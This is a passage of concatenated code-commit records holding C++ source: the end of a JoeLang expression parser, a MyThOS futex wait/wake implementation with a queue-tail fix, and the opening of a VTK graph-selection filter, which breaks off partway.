if( !parser.ExpectTerminal( Lexer::COLON ) )\n        return false;\n\n    std::unique_ptr<Expression> false_expression;\n    if( !Expect<ConditionalExpression>( parser, false_expression ) )\n        return false;\n\n    token.reset( new ConditionalExpression( std::move( condition ),\n                                            std::move( true_expression ),\n                                            std::move( false_expression ) ) );\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ BinaryOperatorExpression\n\/\/------------------------------------------------------------------------------\n\nBinaryOperatorExpression::BinaryOperatorExpression( Lexer::TerminalType operator_terminal,\n                                                    std::unique_ptr<Expression> left_side,\n                                                    std::unique_ptr<Expression> right_side )\n    :m_operatorTerminal( operator_terminal )\n    ,m_leftSide( std::move( left_side ) )\n    ,m_rightSide( std::move( right_side ) )\n{\n}\n\nBinaryOperatorExpression::~BinaryOperatorExpression()\n{\n}\n\nvoid BinaryOperatorExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Binary Operator Expression\\n\";\n    m_leftSide->Print( depth + 1 );\n    m_rightSide->Print( depth + 1 );\n}\ntemplate< typename ExpressionType, typename SubExpressionType >\nbool BinaryOperatorExpression::ParseLeftAssociative( Parser& parser, std::unique_ptr<Expression>& token,\n                                  const std::vector<Lexer::TerminalType>& operator_terminals )\n{\n    std::unique_ptr<Expression> left;\n    if( !Expect<SubExpressionType>( parser, left ) )\n        return false;\n\n    std::vector< std::pair< Lexer::TerminalType,\n                            std::unique_ptr<Expression> > > rest;\n\n    while( true )\n    {\n        bool cont = false;\n        Lexer::TerminalType operator_terminal;\n        for( Lexer::TerminalType o : operator_terminals )\n        {\n            if( parser.ExpectTerminal( o ) )\n            {\n                operator_terminal = o;\n                cont = true;\n                break;\n            }\n        }\n\n        if( !cont )\n            break;\n\n        std::unique_ptr<Expression> next;\n        if( !Expect<SubExpressionType>( parser, next ) )\n            return false;\n\n        rest.push_back( std::make_pair( operator_terminal,\n                                        std::move( next ) ) );\n    }\n\n    for( auto& expression : rest )\n        left.reset( new ExpressionType( expression.first,\n                                        std::move( left ),\n                                        std::move( expression.second ) ) );\n\n    token = std::move( left );\n    return true;\n}\n\n\/\/template< typename ExpressionType, typename SubExpressionType >\n\/\/static bool ParseRightAssociative( Parser& parser, std::unique_ptr<Expression>& token,\n                                   \/\/const std::vector<Lexer::TerminalType>& operator_terminals );\n\n\/\/------------------------------------------------------------------------------\n\/\/ Logical Or Expression\n\/\/------------------------------------------------------------------------------\n\nLogicalOrExpression::LogicalOrExpression( Lexer::TerminalType operator_terminal,\n                                          std::unique_ptr<Expression> left_side,\n                                          std::unique_ptr<Expression> right_side )\n    :BinaryOperatorExpression( operator_terminal,\n                               std::move( left_side ),\n                               std::move( right_side ) )\n{\n}\n\nLogicalOrExpression::~LogicalOrExpression()\n{\n}\n\nbool LogicalOrExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    \/\/ Why doesn't clang support initializer lists yet!\n    static std::vector<Lexer::TerminalType> operators;\n    if( operators.size() == 0 )\n        operators.push_back( Lexer::LOGICAL_OR );\n\n    return ParseLeftAssociative<LogicalOrExpression, LogicalAndExpression>( parser, token, operators );\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ LogicalAndExpression\n\/\/------------------------------------------------------------------------------\n\nLogicalAndExpression::LogicalAndExpression( Lexer::TerminalType operator_terminal,\n                                          std::unique_ptr<Expression> left_side,\n                                          std::unique_ptr<Expression> right_side )\n    :BinaryOperatorExpression( operator_terminal,\n                               std::move( left_side ),\n                               std::move( right_side ) )\n{\n}\n\nLogicalAndExpression::~LogicalAndExpression()\n{\n}\n\nbool LogicalAndExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    static std::vector<Lexer::TerminalType> operators;\n    if( operators.size() == 0 )\n        operators.push_back( Lexer::LOGICAL_AND );\n\n    \/\/TODO\n    return ParseLeftAssociative<LogicalAndExpression, PrimaryExpression>( parser, token, operators );\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Unary Expression\n\/\/------------------------------------------------------------------------------\n\nUnaryExpression::UnaryExpression()\n{\n}\n\nUnaryExpression::~UnaryExpression()\n{\n}\n\nvoid UnaryExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Unary Expression\\n\";\n}\n\n\/\/TODO\nbool UnaryExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    return Expect<PrimaryExpression>( parser, token );\n   \/*\n    if( !parser.ExpectTerminal( Lexer::IDENTIFIER ) )\n        return false;\n\n    token.reset( new UnaryExpression() );\n    return true;\n    *\/\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Primary Expression\n\/\/------------------------------------------------------------------------------\n\nPrimaryExpression::PrimaryExpression( std::string identifier )\n    :m_identifier( std::move( identifier ) )\n{\n}\n\nPrimaryExpression::~PrimaryExpression()\n{\n}\n\nvoid PrimaryExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << m_identifier << \"\\n\";\n}\n\n\/\/TODO\nbool PrimaryExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    std::string identifier;\n    if( !parser.ExpectTerminal( Lexer::IDENTIFIER, identifier ) )\n        return false;\n\n    token.reset( new PrimaryExpression( identifier ) );\n    return true;\n}\n\n} \/\/ namespace Parser\n} \/\/ namespace JoeLang\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- mode:C++; indent-tabs-mode:nil; -*- *\/\n\/* MIT License -- MyThOS: The Many-Threads Operating System\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * Copyright 2019 Philipp Gypser and contributors, BTU Cottbus-Senftenberg\n *\/\n#include \"runtime\/futex.hh\"\n#include \"runtime\/mlog.hh\"\n#include \"runtime\/ExecutionContext.hh\"\n#include \"runtime\/Mutex.hh\"\n\n#include <errno.h>\n#include <atomic>\n\nstruct FutexQueueElem\n{\n    mythos::CapPtr ec;\n    uint32_t* uaddr;\n    FutexQueueElem* next;\t\n}; \n\nFutexQueueElem* queueHead = nullptr;\nFutexQueueElem** queueTail = &queueHead;\nmythos::Mutex readLock;\n\nstatic int futex_wait(\n    uint32_t *uaddr, unsigned int flags, uint32_t val,\n    uint32_t *abs_time, uint32_t bitset)\n{\n    MLOG_DETAIL(mlog::app, \"futex_wait\", DVARhex(uaddr), DVAR(*uaddr), DVAR(val));\n    FutexQueueElem qe;\n    qe.ec = mythos::localEC;\n    qe.uaddr = uaddr;\n    qe.next = nullptr;\n\n    volatile uint32_t* addr = uaddr;\n    { \/\/ enqueue self \n        mythos::Mutex::Lock guard(readLock);\n        *queueTail = &qe;\n        queueTail = &qe.next;\n    }\n\n    if (val == *addr) {\n        MLOG_DETAIL(mlog::app, \"going to wait\", DVAR(mythos::localEC));\n        auto sysret = mythos::syscall_wait();\t\n    }else{\n        MLOG_DETAIL(mlog::app, \"val != *addr\");\n    }\n\n    {\n\t\/\/todo: only lock futex if qe.next != 1ul\n        mythos::Mutex::Lock guard(readLock);\n\t    if (reinterpret_cast<uint64_t>(qe.next) != 1ul) {\n\t\tMLOG_DETAIL(mlog::app, \"next != 1 -> remove this element from queue\");\n\t\tauto curr = &queueHead;\n\t\twhile (*curr) {\n\t\t    if ((*curr)->next == &qe){\n\t\t\tif (queueTail == &qe.next) {\n\t\t\t\tMLOG_DETAIL(mlog::app, \"last elem in queue\");\n\t\t\t\tqueueTail = curr;\n\t\t    \t}\n\t\t    \t(*curr)->next = qe.next;\n\t\t\tbreak;\n\t\t    }\n\t\t    curr = &(*curr)->next;\n\t\t}\n\n\t    }\n    }\n\n    MLOG_DETAIL(mlog::app, \"Return from futex_wait\");\n    return 0;\n}\n\nstatic int futex_wake(\n    uint32_t *uaddr, unsigned int flags, int nr_wake, uint32_t bitset)\n{\n    MLOG_DETAIL(mlog::app, \"Futex_wake\", DVARhex(uaddr), DVAR(*uaddr));\n    mythos::Mutex::Lock guard(readLock);\n\n    auto curr = &queueHead; \n    for (int i = 0; i < nr_wake; i++) {\n        while ((*curr) && (*curr)->uaddr != uaddr) {\n            MLOG_DETAIL(mlog::app, \"Skip entry\", DVARhex((*curr)->uaddr), DVAR((*curr)->ec), DVAR((*curr)->next) );\n            curr = &(*curr)->next;\n        }\n\n        if (*curr) {\n            MLOG_DETAIL(mlog::app, \"Found entry matching\" );\n\t    if (queueTail == &(*curr)->next) {\n\t\tMLOG_DETAIL(mlog::app, \"last elem in queue\");\n\t\tqueueTail = curr;\n\t    }\n            auto entry = *curr;\n            *curr = entry->next;\n\t    auto ec = entry->ec;\n            entry->next = reinterpret_cast<FutexQueueElem*>(1ul);\n            MLOG_DETAIL(mlog::app, \"Wake EC\", DVAR(ec) );\n            mythos::syscall_signal(ec);\n        } else {\n            MLOG_DETAIL(mlog::app, \"Reached end of queue\" );\n            return 0;\n        }\n    }\n    return 0;\n}\n\nlong do_futex(\n    uint32_t *uaddr, int op, uint32_t val, uint32_t *timeout,\n    uint32_t *uaddr2, uint32_t val2, uint32_t val3)\n{\n    int cmd = op & FUTEX_CMD_MASK;\n    unsigned int flags = 0;\n\n    \/\/if (!(op & FUTEX_PRIVATE_FLAG))\n        \/\/flags |= FLAGS_SHARED;\n\n    if (op & FUTEX_CLOCK_REALTIME) {\n        flags |= FLAGS_CLOCKRT;\n        if (cmd != FUTEX_WAIT && cmd != FUTEX_WAIT_BITSET && \\\n            cmd != FUTEX_WAIT_REQUEUE_PI)\n            return -ENOSYS;\n    }\n\n    switch (cmd) {\n    case FUTEX_WAIT:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAIT\");\n        val3 = FUTEX_BITSET_MATCH_ANY;\n        \/* fall through *\/\n    case FUTEX_WAIT_BITSET:\t\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAIT_BITSET\");\n        return futex_wait(uaddr, flags, val, timeout, val3);\n    case FUTEX_WAKE:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAKE\");\n        val3 = FUTEX_BITSET_MATCH_ANY;\n        \/* fall through *\/\n    case FUTEX_WAKE_BITSET:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAKE_BITSET\");\n        return futex_wake(uaddr, flags, val, val3);\n    case FUTEX_REQUEUE:\n        MLOG_DETAIL(mlog::app, \"FUTEX_REQUEUE\");\n        return -ENOSYS;\/\/futex_requeue(uaddr, flags, uaddr2, val, val2, NULL, 0);\n    case FUTEX_CMP_REQUEUE:\n        MLOG_DETAIL(mlog::app, \"FUTEX_CMP_REQUEUE\");\n        return -ENOSYS;\/\/futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 0);\n    case FUTEX_WAKE_OP:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAKE_OP\");\n        return -ENOSYS;\/\/futex_wake_op(uaddr, flags, uaddr2, val, val2, val3);\n    case FUTEX_LOCK_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_LOCK_PI\");\n        return -ENOSYS;\/\/futex_lock_pi(uaddr, flags, timeout, 0);\n    case FUTEX_UNLOCK_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_UNLOCK_PI\");\n        return -ENOSYS;\/\/futex_unlock_pi(uaddr, flags);\n    case FUTEX_TRYLOCK_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_TRYLOCK_PI\");\n        return -ENOSYS;\/\/futex_lock_pi(uaddr, flags, NULL, 1);\n    case FUTEX_WAIT_REQUEUE_PI:\n        val3 = FUTEX_BITSET_MATCH_ANY;\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAIT_REQUEUE_PI\");\n        return -ENOSYS;\/\/futex_wait_requeue_pi(uaddr, flags, val, timeout, val3, uaddr2);\n    case FUTEX_CMP_REQUEUE_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_CMP_REQUEUE_PI\");\n        return -ENOSYS;\/\/futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1);\n    }\n    return -ENOSYS;\n}\n<commit_msg>fixed futex again.....<commit_after>\/* -*- mode:C++; indent-tabs-mode:nil; -*- *\/\n\/* MIT License -- MyThOS: The Many-Threads Operating System\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * Copyright 2019 Philipp Gypser and contributors, BTU Cottbus-Senftenberg\n *\/\n#include \"runtime\/futex.hh\"\n#include \"runtime\/mlog.hh\"\n#include \"runtime\/ExecutionContext.hh\"\n#include \"runtime\/Mutex.hh\"\n\n#include <errno.h>\n#include <atomic>\n\nstruct FutexQueueElem\n{\n    mythos::CapPtr ec;\n    uint32_t* uaddr;\n    FutexQueueElem* next;\t\n}; \n\nFutexQueueElem* queueHead = nullptr;\nFutexQueueElem** queueTail = &queueHead;\nmythos::Mutex readLock;\n\nstatic int futex_wait(\n    uint32_t *uaddr, unsigned int flags, uint32_t val,\n    uint32_t *abs_time, uint32_t bitset)\n{\n    MLOG_DETAIL(mlog::app, \"futex_wait\", DVARhex(uaddr), DVAR(*uaddr), DVAR(val));\n    FutexQueueElem qe;\n    qe.ec = mythos::localEC;\n    qe.uaddr = uaddr;\n    qe.next = nullptr;\n\n    volatile uint32_t* addr = uaddr;\n    { \/\/ enqueue self \n        mythos::Mutex::Lock guard(readLock);\n        *queueTail = &qe;\n        queueTail = &qe.next;\n    }\n\n    if (val == *addr) {\n        MLOG_DETAIL(mlog::app, \"going to wait\", DVAR(mythos::localEC));\n        auto sysret = mythos::syscall_wait();\t\n    }else{\n        MLOG_DETAIL(mlog::app, \"val != *addr\");\n    }\n\n    {\n\t\/\/todo: only lock futex if qe.next != 1ul\n        mythos::Mutex::Lock guard(readLock);\n\t    if (reinterpret_cast<uint64_t>(qe.next) != 1ul) {\n\t\tMLOG_DETAIL(mlog::app, \"next != 1 -> remove this element from queue\");\n\t\tauto curr = &queueHead;\n\t\twhile (*curr) {\n\t\t    if ((*curr)->next == &qe){\n\t\t\tif (queueTail == &qe.next) {\n\t\t\t\tMLOG_DETAIL(mlog::app, \"last elem in queue\");\n\t\t\t\tqueueTail = &(*curr)->next;\n\t\t    \t}\n\t\t    \t(*curr)->next = qe.next;\n\t\t\tbreak;\n\t\t    }\n\t\t    curr = &(*curr)->next;\n\t\t}\n\n\t    }\n    }\n\n    MLOG_DETAIL(mlog::app, \"Return from futex_wait\");\n    return 0;\n}\n\nstatic int futex_wake(\n    uint32_t *uaddr, unsigned int flags, int nr_wake, uint32_t bitset)\n{\n    MLOG_DETAIL(mlog::app, \"Futex_wake\", DVARhex(uaddr), DVAR(*uaddr));\n    mythos::Mutex::Lock guard(readLock);\n\n    auto curr = &queueHead; \n    for (int i = 0; i < nr_wake; i++) {\n        while ((*curr) && (*curr)->uaddr != uaddr) {\n            MLOG_DETAIL(mlog::app, \"Skip entry\", DVARhex((*curr)->uaddr), DVAR((*curr)->ec), DVAR((*curr)->next) );\n            curr = &(*curr)->next;\n        }\n\n        if (*curr) {\n            MLOG_DETAIL(mlog::app, \"Found entry matching\" );\n\t    if (queueTail == &(*curr)->next) {\n\t\tMLOG_DETAIL(mlog::app, \"last elem in queue\");\n\t\tqueueTail = curr;\n\t    }\n            auto entry = *curr;\n            *curr = entry->next;\n\t    auto ec = entry->ec;\n            entry->next = reinterpret_cast<FutexQueueElem*>(1ul);\n            MLOG_DETAIL(mlog::app, \"Wake EC\", DVAR(ec) );\n            mythos::syscall_signal(ec);\n        } else {\n            MLOG_DETAIL(mlog::app, \"Reached end of queue\" );\n            return 0;\n        }\n    }\n    return 0;\n}\n\nlong do_futex(\n    uint32_t *uaddr, int op, uint32_t val, uint32_t *timeout,\n    uint32_t *uaddr2, uint32_t val2, uint32_t val3)\n{\n    int cmd = op & FUTEX_CMD_MASK;\n    unsigned int flags = 0;\n\n    \/\/if (!(op & FUTEX_PRIVATE_FLAG))\n        \/\/flags |= FLAGS_SHARED;\n\n    if (op & FUTEX_CLOCK_REALTIME) {\n        flags |= FLAGS_CLOCKRT;\n        if (cmd != FUTEX_WAIT && cmd != FUTEX_WAIT_BITSET && \\\n            cmd != FUTEX_WAIT_REQUEUE_PI)\n            return -ENOSYS;\n    }\n\n    switch (cmd) {\n    case FUTEX_WAIT:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAIT\");\n        val3 = FUTEX_BITSET_MATCH_ANY;\n        \/* fall through *\/\n    case FUTEX_WAIT_BITSET:\t\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAIT_BITSET\");\n        return futex_wait(uaddr, flags, val, timeout, val3);\n    case FUTEX_WAKE:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAKE\");\n        val3 = FUTEX_BITSET_MATCH_ANY;\n        \/* fall through *\/\n    case FUTEX_WAKE_BITSET:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAKE_BITSET\");\n        return futex_wake(uaddr, flags, val, val3);\n    case FUTEX_REQUEUE:\n        MLOG_DETAIL(mlog::app, \"FUTEX_REQUEUE\");\n        return -ENOSYS;\/\/futex_requeue(uaddr, flags, uaddr2, val, val2, NULL, 0);\n    case FUTEX_CMP_REQUEUE:\n        MLOG_DETAIL(mlog::app, \"FUTEX_CMP_REQUEUE\");\n        return -ENOSYS;\/\/futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 0);\n    case FUTEX_WAKE_OP:\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAKE_OP\");\n        return -ENOSYS;\/\/futex_wake_op(uaddr, flags, uaddr2, val, val2, val3);\n    case FUTEX_LOCK_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_LOCK_PI\");\n        return -ENOSYS;\/\/futex_lock_pi(uaddr, flags, timeout, 0);\n    case FUTEX_UNLOCK_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_UNLOCK_PI\");\n        return -ENOSYS;\/\/futex_unlock_pi(uaddr, flags);\n    case FUTEX_TRYLOCK_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_TRYLOCK_PI\");\n        return -ENOSYS;\/\/futex_lock_pi(uaddr, flags, NULL, 1);\n    case FUTEX_WAIT_REQUEUE_PI:\n        val3 = FUTEX_BITSET_MATCH_ANY;\n        MLOG_DETAIL(mlog::app, \"FUTEX_WAIT_REQUEUE_PI\");\n        return -ENOSYS;\/\/futex_wait_requeue_pi(uaddr, flags, val, timeout, val3, uaddr2);\n    case FUTEX_CMP_REQUEUE_PI:\n        MLOG_DETAIL(mlog::app, \"FUTEX_CMP_REQUEUE_PI\");\n        return -ENOSYS;\/\/futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1);\n    }\n    return -ENOSYS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkExtractSelectedGraph.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*----------------------------------------------------------------------------\n Copyright (c) Sandia Corporation\n See Copyright.txt or http:\/\/www.paraview.org\/HTML\/Copyright.html for details.\n----------------------------------------------------------------------------*\/\n\n#include \"vtkExtractSelectedGraph.h\"\n\n#include \"vtkCellData.h\"\n#include \"vtkCommand.h\"\n#include \"vtkConvertSelection.h\"\n#include \"vtkDataArray.h\"\n#include \"vtkEventForwarderCommand.h\"\n#include \"vtkExtractSelection.h\"\n#include \"vtkGraph.h\"\n#include \"vtkGraphIdList.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkSelection.h\"\n#include \"vtkSignedCharArray.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkStringArray.h\"\n\n#include <vtksys\/stl\/map>\nusing vtksys_stl::map;\n\nvtkCxxRevisionMacro(vtkExtractSelectedGraph, \"1.11\");\nvtkStandardNewMacro(vtkExtractSelectedGraph);\n\nvtkExtractSelectedGraph::vtkExtractSelectedGraph()\n{\n  this->SetNumberOfInputPorts(2);\n  this->RemoveIsolatedVertices = true;\n}\n\nvtkExtractSelectedGraph::~vtkExtractSelectedGraph()\n{\n}\n\nint vtkExtractSelectedGraph::FillInputPortInformation(int port, vtkInformation* info)\n{\n  if (port == 0)\n    {\n    info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkAbstractGraph\");\n    return 1;\n    }\n  else if (port == 1)\n    {\n    info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkSelection\");\n    return 1;\n    }\n  return 0;\n}\n\nvoid vtkExtractSelectedGraph::SetSelectionConnection(vtkAlgorithmOutput* in)\n{\n  this->SetInputConnection(1, in);\n}\n\nint vtkExtractSelectedGraph::RequestData(\n  vtkInformation* vtkNotUsed(request), \n  vtkInformationVector** inputVector, \n  vtkInformationVector* outputVector)\n{\n  vtkAbstractGraph* input = vtkAbstractGraph::GetData(inputVector[0]);\n  vtkSelection* selection = vtkSelection::GetData(inputVector[1]);\n  \n  \/\/ If there is nothing in the list, there is nothing to select.\n  vtkAbstractArray* list = selection->GetSelectionList();\n  if (!list || list->GetNumberOfTuples() == 0)\n    {\n    return 1;\n    }\n  \n  \/\/ If it is a selection with multiple parts, find a point or cell\n  \/\/ child selection, with preference to points.\n  if (selection->GetContentType() == vtkSelection::SELECTIONS)\n    {\n    vtkSelection* child = 0;\n    for (unsigned int i = 0; i < selection->GetNumberOfChildren(); i++)\n      {\n      vtkSelection* cur = selection->GetChild(i);\n      if (cur->GetFieldType() == vtkSelection::POINT)\n        {\n        child = cur;\n        break;\n        }\n      else if (cur->GetFieldType() == vtkSelection::CELL)\n        {\n        child = cur;\n        }\n      }\n    selection = child;\n    }\n    \n  \/\/ Convert the selection to an INDICES selection\n  vtkSelection* indexSelection = \n    vtkConvertSelection::ToIndexSelection(selection, input);\n  if (!indexSelection)\n    {\n    vtkErrorMacro(\"Selection conversion to INDICES failed.\");\n    indexSelection->Delete();\n    return 0;\n    }\n  \n  vtkAbstractArray* arr = indexSelection->GetSelectionList();\n  if (arr == NULL)\n    {\n    vtkErrorMacro(\"Selection list not found.\");\n    return 0;\n    }\n  vtkIdTypeArray* selectArr = vtkIdTypeArray::SafeDownCast(arr);\n  if (selectArr == NULL)\n    {\n    vtkErrorMacro(\"Selection list must be of type vtkIdTypeArray.\");\n    return 0;\n    }\n  vtkIdType selectSize = selectArr->GetNumberOfTuples();\n  \n  vtkGraph* output = vtkGraph::GetData(outputVector);\n\n  output->SetDirected(input->GetDirected());\n  output->GetFieldData()->PassData(input->GetFieldData());\n\n  if (selection->GetProperties()->Has(vtkSelection::FIELD_TYPE()) && \n      selection->GetProperties()->Get(vtkSelection::FIELD_TYPE()) == vtkSelection::CELL)\n    {\n    \/\/\n    \/\/ Edge selection\n    \/\/\n    \n    \/\/ Copy all vertices\n    output->SetNumberOfVertices(input->GetNumberOfVertices());\n        \n    \/\/ Copy selected edges\n    vtkCellData* inputEdgeData = input->GetEdgeData();\n    vtkCellData* outputEdgeData = output->GetEdgeData();\n    outputEdgeData->CopyAllocate(inputEdgeData);\n    for (vtkIdType i = 0; i < selectSize; i++)\n      {\n      vtkIdType inputEdge = selectArr->GetValue(i);\n      if (inputEdge < input->GetNumberOfEdges())\n        {\n        vtkIdType source = input->GetSourceVertex(inputEdge);\n        vtkIdType target = input->GetTargetVertex(inputEdge);\n        vtkIdType outputEdge = output->AddEdge(source, target);\n        outputEdgeData->CopyData(inputEdgeData, inputEdge, outputEdge);\n        }\n      }\n    \n    \/\/ Remove isolated vertices\n    if (this->RemoveIsolatedVertices)\n      {\n      output->GetVertexData()->DeepCopy(input->GetVertexData());\n      output->GetPoints()->DeepCopy(input->GetPoints());\n      vtkIdTypeArray* isolated = vtkIdTypeArray::New();\n      for (vtkIdType i = 0; i < output->GetNumberOfVertices(); i++)\n        {\n        if (output->GetDegree(i) == 0)\n          {\n          isolated->InsertNextValue(i);\n          }\n        }\n      output->RemoveVertices(isolated->GetPointer(0), isolated->GetNumberOfTuples());\n      isolated->Delete();\n      }\n    else\n      {\n      output->GetVertexData()->PassData(input->GetVertexData());\n      output->GetPoints()->ShallowCopy(input->GetPoints());\n      }\n    }\n  else\n    {\n    \/\/\n    \/\/ Vertex selection\n    \/\/\n    \n    \/\/ Copy selected vertices\n    double pt[3];\n    vtkPoints* inputPoints = input->GetPoints();\n    vtkPoints* outputPoints = vtkPoints::New();\n    vtkPointData* inputVertexData = input->GetVertexData();\n    vtkPointData* outputVertexData = output->GetVertexData();\n    outputVertexData->CopyAllocate(inputVertexData);\n    map<vtkIdType, vtkIdType> idMap;\n    for (vtkIdType i = 0; i < selectSize; i++)\n      {\n      vtkIdType inputVertex = selectArr->GetValue(i);\n      if (inputVertex < input->GetNumberOfVertices())\n        {\n        vtkIdType outputVertex = output->AddVertex();\n        outputVertexData->CopyData(inputVertexData, inputVertex, outputVertex);\n        idMap[inputVertex] = outputVertex;\n        inputPoints->GetPoint(inputVertex, pt);\n        outputPoints->InsertNextPoint(pt);\n        }\n      }\n    output->SetPoints(outputPoints);\n    outputPoints->Delete();\n    \n    \/\/ Make a directed shallow copy of the graph so GetOutEdges()\n    \/\/ returns every edge no more than once.\n    vtkAbstractGraph* copy = input;\n    bool madeCopy = false;\n    if (vtkGraph::SafeDownCast(input) && !input->GetDirected())\n      {\n      copy = vtkGraph::New();\n      copy->ShallowCopy(input);\n      vtkGraph::SafeDownCast(copy)->SetDirected(true);\n      madeCopy = true;\n      }\n  \n    \/\/ Copy any edges that connect selected vertices\n    vtkCellData* inputEdgeData = input->GetEdgeData();\n    vtkCellData* outputEdgeData = output->GetEdgeData();\n    outputEdgeData->CopyAllocate(inputEdgeData);\n    vtkGraphIdList* edgeList = vtkGraphIdList::New();\n    for (vtkIdType i = 0; i < selectSize; i++)\n      {\n      vtkIdType inputVertex = selectArr->GetValue(i);\n      if (idMap.count(inputVertex) > 0)\n        {\n        vtkIdType outputVertex = idMap[inputVertex];\n        copy->GetOutEdges(inputVertex, edgeList);\n        for (vtkIdType j = 0; j < edgeList->GetNumberOfIds(); j++)\n          {\n          vtkIdType inputEdge = edgeList->GetId(j);\n          vtkIdType oppInputVertex = input->GetOppositeVertex(inputEdge, inputVertex);\n          if (idMap.count(oppInputVertex) > 0)\n            {\n            vtkIdType oppOutputVertex = idMap[oppInputVertex];\n            vtkIdType outputEdge = output->AddEdge(outputVertex, oppOutputVertex);\n            outputEdgeData->CopyData(inputEdgeData, inputEdge, outputEdge);\n            }\n          }\n        }\n      }\n    edgeList->Delete();\n    \n    \/\/ Clean up\n    if (madeCopy)\n      {\n      copy->Delete();\n      }\n    }\n\n  \/\/ Clean up\n  output->Squeeze();\n  indexSelection->Delete();\n\n  return 1;\n}\n\nvoid vtkExtractSelectedGraph::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os, indent);\n  os << indent << \"RemoveIsolatedVertices: \" \n     << (this->RemoveIsolatedVertices ? \"on\" : \"off\") << endl;\n}\n\n<commit_msg>ENH: Support for extracting the unselected portion of a graph.<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkExtractSelectedGraph.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A 